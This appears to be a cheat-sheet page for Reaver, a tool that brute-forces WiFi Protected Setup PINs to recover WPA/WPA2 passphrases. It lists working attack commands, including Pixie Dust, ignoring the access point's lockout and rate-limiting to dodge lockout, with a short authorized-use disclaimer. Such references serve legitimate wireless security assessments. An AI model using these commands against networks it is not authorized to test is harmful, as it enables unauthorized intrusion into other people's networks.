Wireless Attacks
Reaver implements a brute force attack against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases.
sudo apt install reaver
reaver -i <monitor-interface> -b <bssid> [options]
Reaver is a wireless security testing tool that implements brute force attacks against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases. It exploits the WPS protocol's design weakness where the 8-digit PIN can be verified in two halves, reducing the keyspace from 100 million to approximately 11,000 attempts.
The tool supports both online brute force attacks and the Pixie Dust offline vulnerability exploit for faster PIN recovery on vulnerable routers. Reaver is commonly used in WiFi security assessments to verify that WPS is properly disabled or that PINs are resistant to brute force attacks.
airmon-ng start wlan0Enable monitor mode - Create a monitor interface (wlan0mon) required by Reaverwash -i wlan0monFind WPS networks - List nearby access points with WPS enabledwash -i wlan0mon -CIgnore FCS errors - Show WPS APs even when frame checksums failreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvBasic attack - Verbose brute force of the target WPS PINreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvvMax verbosity - Show every message for detailed troubleshootingreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvLock channel - Attack on a fixed channel to avoid channel hoppingreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1Pixie Dust attack - Attempt an offline vulnerability exploit for faster recoveryreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 0 -vvNo delay - Remove delay between attempts to speed up scanningreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 15 -vvAdd delay - Wait 15 seconds between attempts to avoid lockoutreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670Set known PIN - Skip brute force and test a specific WPS PINreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vvIgnore lockout - Continue attacking even when the AP reports WPS lockedreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -N -vvNo NACK - Do not send NACK messages when out-of-order packets are receivedreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -s session.wpcSave session - Write progress to a session file for later resumptionreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -r 3:15 -vvRate limit - Sleep 15 seconds after every 3 attempts to dodge lockoutreaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -e MyNetwork -vvTarget ESSID - Attack a specific network name, useful for hidden SSIDsTest whether WPS-enabled access points are vulnerable to PIN brute force attacks.
Recover forgotten WiFi passwords through WPS PIN recovery when authorized.
Gain wireless network access through WPS vulnerabilities during authorized engagements.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.